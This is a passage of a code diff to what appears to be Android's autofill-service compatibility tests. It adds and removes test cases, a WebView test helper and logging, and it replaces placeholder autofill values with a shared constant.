- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- sUiBot.assertNoDatasets();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- @Test
- public void checkFillSelectionIsResetAfterTimeout() throws Exception {
- enableService();
-
- // First reset
- sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
- new CannedDataset.Builder()
- .setField(ID_USERNAME, "username")
- .setPresentation(createPresentation("dataset1"))
- .build())
- .build());
- mActivity.expectAutoFill("username");
-
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
- sUiBot.selectDataset("dataset1");
- mActivity.assertAutoFilled();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState()).isNull();
-
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- }
-
- // Second request
- sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
- mActivity.onPassword(View::requestFocus);
- sReplier.getNextFillRequest();
- waitUntilDisconnected();
-
- {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection).isNull();
- }
- }
-
- private Bundle getBundle(String key, String value) {
- final Bundle bundle = new Bundle();
- bundle.putString(key, value);
- return bundle;
- }
-
- /**
- * Tests the following scenario:
- *
- * <ol>
- * <li>Activity A is launched.
- * <li>Activity A triggers autofill.
- * <li>Activity B is launched.
- * <li>Activity B triggers autofill.
- * <li>User goes back to Activity A.
- * <li>User triggers save on Activity A - at this point, service should have stats of
- * activity B, and stats for activity A should have beeen discarded.
- * </ol>
- */
- @Test
- public void checkFillSelectionFromPreviousSessionIsDiscarded() throws Exception {
- enableService();
-
- // Launch activity A
- sReplier.addResponse(new CannedFillResponse.Builder()
- .setExtras(getBundle("activity", "A"))
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .build());
-
- // Trigger autofill on activity A
- mActivity.onUsername(View::requestFocus);
- waitUntilConnected();
- sReplier.getNextFillRequest();
-
- // Verify fill selection for Activity A
- FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selectionA.getClientState().getString("activity")).isEqualTo("A");
- assertThat(selectionA.getEvents()).isNull();
-
- // Launch activity B
- mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
-
- // Trigger autofill on activity B
- sReplier.addResponse(new CannedFillResponse.Builder()
- .setExtras(getBundle("activity", "B"))
- .addDataset(new CannedDataset.Builder()
- .setField(ID_CC_NUMBER, "4815162342")
- .setPresentation(createPresentation("datasetB"))
- .build())
- .build());
- sUiBot.focusByRelativeId(ID_CC_NUMBER);
- sReplier.getNextFillRequest();
-
- // Verify fill selection for Activity B
- final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selectionB.getClientState().getString("activity")).isEqualTo("B");
- assertThat(selectionB.getEvents()).isNull();
-
- // Now switch back to A...
- sUiBot.pressBack(); // dismiss keyboard
- sUiBot.pressBack(); // dismiss task
- sUiBot.assertShownByRelativeId(ID_USERNAME);
- // ...and trigger save
- // Set credentials...
- mActivity.onUsername((v) -> v.setText("malkovich"));
- mActivity.onPassword((v) -> v.setText("malkovich"));
- final String expectedMessage = getWelcomeMessage("malkovich");
- final String actualMessage = mActivity.tapLogin();
- assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
- sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
- sReplier.getNextSaveRequest();
-
- // Finally, make sure history is right
- final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(finalSelection.getClientState().getString("activity")).isEqualTo("B");
- assertThat(finalSelection.getEvents()).isNull();
-
- }
-
- @Test
public void testIsServiceEnabled() throws Exception {
disableService();
final AutofillManager afm = mActivity.getAutofillManager();
@@ -3395,6 +3430,45 @@
}
@Test
+ public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
+ serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
+ }
+
+ @Test
+ public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
+ serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
+ }
+
+ private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Now disable service by setting another service...
+ Helper.enableAutofillService(mContext, serviceName);
+
+ // ...and make sure popup's gone
+ sUiBot.assertNoDatasets();
+
+ // Then try to trigger autofill again...
+ mActivity.onPassword(View::requestFocus);
+ //...it should not work!
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
public void testAutofillMovesCursorToTheEnd() throws Exception {
// Set service.
enableService();
@@ -3491,4 +3565,27 @@
waitUntilDisconnected();
listener.assertOnCancelCalled();
}
+
+ @Test
+ public void testNewTextAttributes() throws Exception {
+ enableService();
+ sReplier.addResponse(NO_RESPONSE);
+ mActivity.onUsername(View::requestFocus);
+
+ final FillRequest request = sReplier.getNextFillRequest();
+ final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+ assertThat(username.getMinTextEms()).isEqualTo(2);
+ assertThat(username.getMaxTextEms()).isEqualTo(5);
+ assertThat(username.getMaxTextLength()).isEqualTo(25);
+
+ final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
+ assertThat(container.getMinTextEms()).isEqualTo(-1);
+ assertThat(container.getMaxTextEms()).isEqualTo(-1);
+ assertThat(container.getMaxTextLength()).isEqualTo(-1);
+
+ final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+ assertThat(password.getMinTextEms()).isEqualTo(-1);
+ assertThat(password.getMaxTextEms()).isEqualTo(-1);
+ assertThat(password.getMaxTextLength()).isEqualTo(-1);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
deleted file mode 100644
index 52c3bcc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleExceptionsCatcher.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Helper used to catch multiple exceptions that might have happened in a test case.
- */
-// TODO: move to common CTS code (and add test cases to it)
-public final class MultipleExceptionsCatcher {
-
- private static final String TAG = "MultipleExceptionsCatcher";
-
- private final List<Throwable> mThrowables = new ArrayList<>();
-
- /**
- * Runs {@code r} postponing any thrown exception to {@link #throwIfAny()}.
- */
- public MultipleExceptionsCatcher run(@NonNull Runnable r) {
- try {
- r.run();
- } catch (Throwable t) {
- mThrowables.add(t);
- }
- return this;
- }
-
- /**
- * Adds an exception - if it's not {@code null} to the exceptions thrown by
- * {@link #throwIfAny()}.
- */
- public MultipleExceptionsCatcher add(@Nullable Throwable t) {
- if (t != null) {
- mThrowables.add(t);
- }
- return this;
- }
-
- /**
- * Throws one exception merging all exceptions thrown or added so far, if any.
- */
- public void throwIfAny() throws Throwable {
- if (mThrowables.isEmpty()) return;
-
- final int numberExceptions = mThrowables.size();
- if (numberExceptions == 1) {
- throw mThrowables.get(0);
- }
-
- String msg = "D'OH!";
- try {
- try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
- sw.write("Caught " + numberExceptions + " exceptions\n");
- for (int i = 0; i < numberExceptions; i++) {
- sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
- final Throwable exception = mThrowables.get(i);
- exception.printStackTrace(pw);
- sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
- }
- msg = sw.toString();
- }
- } catch (IOException e) {
- // ignore close() errors - should not happen...
- Log.e(TAG, "Exception closing StringWriter: " + e);
- }
- throw new AssertionError(msg);
- }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
index b264a46..8e8c7e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
@@ -26,7 +26,7 @@
import java.util.concurrent.TimeUnit;
/**
- * Custom {@link RadioGroup.OnCheckedChangeListener} used to assert an
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
* {@link RadioGroup} was auto-filled properly.
*/
final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 1ba8755..50d1d6c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -20,6 +20,7 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.util.Log;
import android.view.View;
import android.view.autofill.AutofillManager.AutofillCallback;
@@ -32,15 +33,18 @@
*/
final class MyAutofillCallback extends AutofillCallback {
+ private static final String TAG = "MyAutofillCallback";
private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
@Override
public void onAutofillEvent(View view, int event) {
+ Log.v(TAG, "onAutofillEvent: view=" + view + ", event=" + event);
mEvents.offer(new MyEvent(view, event));
}
@Override
public void onAutofillEvent(View view, int childId, int event) {
+ Log.v(TAG, "onAutofillEvent: view=" + view + ", child=" + childId + ", event=" + event);
mEvents.offer(new MyEvent(view, childId, event));
}
@@ -56,6 +60,17 @@
}
/**
+ * Assert no more events were received.
+ */
+ void assertNotCalled() throws InterruptedException {
+ final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (event != null) {
+ // Not retryable.
+ throw new IllegalStateException("should not have received " + event);
+ }
+ }
+
+ /**
* Used to assert there is no event left behind.
*/
void assertNumberUnhandledEvents(int expected) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
new file mode 100644
index 0000000..fa233dd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.SparseArray;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+ private FillExpectation mExpectation;
+
+ public MyWebView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ }
+
+ public void expectAutofill(String username, String password) {
+ mExpectation = new FillExpectation(username, password);
+ }
+
+ public void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+ final boolean set = mExpectation.mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (mExpectation.mException != null) {
+ throw mExpectation.mException;
+ }
+ assertWithMessage("Timeout (%s ms) expecting autofill()", FILL_TIMEOUT_MS)
+ .that(set).isTrue();
+ assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+ .isEqualTo(mExpectation.mExpectedUsername);
+ assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+ .isEqualTo(mExpectation.mExpectedPassword);
+ }
+
+ @Override
+ public void autofill(SparseArray<AutofillValue> values) {
+ super.autofill(values);
+
+ if (mExpectation == null) return;
+
+ try {
+ if (values == null || values.size() != 2) {
+ mExpectation.mException =
+ new IllegalArgumentException("Invalid values on autofill(): " + values);
+ } else {
+ try {
+ mExpectation.mActualUsername = values.valueAt(0).getTextValue().toString();
+ mExpectation.mActualPassword = values.valueAt(1).getTextValue().toString();
+ } catch (Exception e) {
+ mExpectation.mException = e;
+ }
+ }
+ } finally {
+ mExpectation.mLatch.countDown();
+ }
+ }
+
+ private class FillExpectation {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private final String mExpectedUsername;
+ private final String mExpectedPassword;
+ private String mActualUsername;
+ private String mActualPassword;
+ private Exception mException;
+
+ FillExpectation(String username, String password) {
+ this.mExpectedUsername = username;
+ this.mExpectedPassword = password;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
index 4255b6d..a75ded8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
@@ -21,21 +21,26 @@
import android.service.autofill.FillRequest;
import android.service.autofill.SaveCallback;
import android.service.autofill.SaveRequest;
+import android.util.Log;
/**
* {@link AutofillService} implementation that does not do anything...
*/
public class NoOpAutofillService extends AutofillService {
+ private static final String TAG = "NoOpAutofillService";
+
static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
+ "/." + NoOpAutofillService.class.getSimpleName();
@Override
public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
FillCallback callback) {
+ Log.d(TAG, "onFillRequest()");
}
@Override
public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+ Log.d(TAG, "onFillResponse()");
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index d458940..0c5428a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -23,6 +23,7 @@
import static android.autofillservice.cts.GridActivity.ID_L3C2;
import static android.autofillservice.cts.GridActivity.ID_L4C1;
import static android.autofillservice.cts.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertValue;
import static android.autofillservice.cts.Helper.getContext;
@@ -46,7 +47,6 @@
import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.FillResponse;
-import android.widget.RemoteViews;
import org.junit.Before;
import org.junit.Rule;
@@ -1310,10 +1310,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1322,19 +1318,18 @@
new CannedDataset.Builder()
.setField(ID_L1C1, "l1c1")
.setField(ID_L1C2, "l1c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
final CannedFillResponse response1 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth11)
- .setField(ID_L1C1, bogusValue)
- .setField(ID_L1C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D1"))
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1365,19 +1360,18 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1406,21 +1400,20 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -1451,19 +1444,18 @@
new CannedDataset.Builder()
.setField(ID_L4C1, "L4C1")
.setField(ID_L4C2, "L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
@@ -1496,10 +1488,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1508,19 +1496,18 @@
new CannedDataset.Builder()
.setField(ID_L1C1, "l1c1")
.setField(ID_L1C2, "l1c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
final CannedFillResponse response1 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth11)
- .setField(ID_L1C1, bogusValue)
- .setField(ID_L1C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D1"))
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1541,19 +1528,18 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1572,21 +1558,20 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -1607,19 +1592,18 @@
new CannedDataset.Builder()
.setField(ID_L4C1, "L4C1")
.setField(ID_L4C2, "L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
@@ -1683,10 +1667,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1700,7 +1680,7 @@
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1720,7 +1700,6 @@
final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
new CannedDataset.Builder()
.setField(ID_L2C2, "L2C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
@@ -1731,7 +1710,7 @@
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth22)
.setPresentation(createPresentation("P2D2"))
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response2);
@@ -1750,14 +1729,13 @@
new CannedDataset.Builder()
.setField(ID_L3C1, "l3c1")
.setField(ID_L3C2, "l3c2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P3D2"))
@@ -1783,7 +1761,7 @@
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P4D2"))
@@ -1876,10 +1854,6 @@
// Set service.
enableService();
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
/**
* 1st partition.
*/
@@ -1893,7 +1867,7 @@
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth12)
- .setField(ID_L1C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("P1D2"))
.build())
.build();
@@ -1917,15 +1891,14 @@
.setField(ID_L1C1, "2l1c1") // from previous partition
.setField(ID_L2C1, "2l2c1")
.setField(ID_L2C2, "2l2c2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response2 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth21)
.setPresentation(createPresentation("P2D1"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue)
- .setField(ID_L2C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setPresentation(createPresentation("P2D2"))
@@ -1957,23 +1930,22 @@
.setField(ID_L1C2, "3l1c2") // from previous partition
.setField(ID_L3C1, "3l3c1")
.setField(ID_L3C2, "3l3c2")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
final CannedFillResponse response3 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth31)
.setPresentation(createPresentation("P3D1"))
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth32)
.setPresentation(createPresentation("P3D2"))
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue)
- .setField(ID_L3C2, bogusValue)
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response3);
@@ -2009,7 +1981,6 @@
.setField(ID_L3C1, "4l3c1") // from previous partition
.setField(ID_L3C2, "4l3c2") // from previous partition
.setField(ID_L4C1, "4l4c1")
- .setPresentation(bogusPresentation)
.build());
final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
new CannedDataset.Builder()
@@ -2022,32 +1993,31 @@
.setField(ID_L1C1, "4L1C1") // from previous partition
.setField(ID_L4C1, "4L4C1")
.setField(ID_L4C2, "4L4C2")
- .setPresentation(bogusPresentation)
.build());
final CannedFillResponse response4 = new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth41)
.setPresentation(createPresentation("P4D1"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue) // from previous partition
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue) // from previous partition
